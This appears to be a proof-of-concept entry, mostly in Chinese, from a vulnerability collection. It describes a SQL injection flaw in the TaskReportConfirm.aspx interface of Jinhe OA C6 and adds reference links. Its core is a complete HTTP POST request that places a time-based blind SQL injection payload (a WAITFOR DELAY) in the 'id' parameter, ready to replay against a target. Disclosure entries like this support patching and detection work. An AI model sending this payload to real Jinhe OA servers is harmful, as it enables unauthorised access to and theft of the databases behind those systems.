Description
金和OA C6 TaskReportConfirm.aspx 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息
金和OA-C6 TaskReportConfirm.aspx 存在SQL注入漏洞
PoC
POST /c6/Jhsoft.Web.dailytaskmanage/TaskReportConfirm.aspx/ HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
__EVENTTARGET=xxxx&__EVENTARGUMENT=&__VIEWSTATE=xxxx&txtTaskReportExplain=&chkCallViewer
s=on&hidReportID=0&__VIEWSTATEGENERATOR=xxxxx&id='WAitFor DelaY'0:0:5'&"
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/jhsoft-TaskReportConfirm-id-sqli.html
https://www.wlaqsys.com/archives/11809
https://github.com/Mr-xn/Penetration_Testing_POC
https://zhuanlan.zhihu.com/p/1932214870562047555
https://adg.csdn.net/694cfdbb5b9f5f31781ac04d.html
https://kk12-30.github.io/2025hvv/